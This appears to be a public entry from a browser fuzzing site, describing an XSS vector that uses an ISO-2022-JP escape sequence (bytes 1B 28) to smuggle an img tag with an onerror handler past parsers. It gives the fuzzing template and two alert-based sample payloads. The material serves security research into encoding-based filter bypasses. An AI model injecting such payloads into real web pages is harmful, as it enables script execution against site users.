ISO-2022-JP ASCII escape sequence

This vector demonstrates how to use the new bytes placeholder. Here we are fuzzing the characters to perform an ASCII escape sequence in ISO-2022-JP.

Shazzer Master

Created Dec 11, 2024

Updated May 27, 2025

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CategoryCharacter Encoding

VisibilityPublic

TypeXSS

CharsetISO-2022-JP

Template used:

<$[bytes:1b28]$[chr]img src onerror=log($[i])>

Sample payloads

<0x1B(<img src onerror=alert(60)>

<0x1B(Bimg src onerror=alert(66)>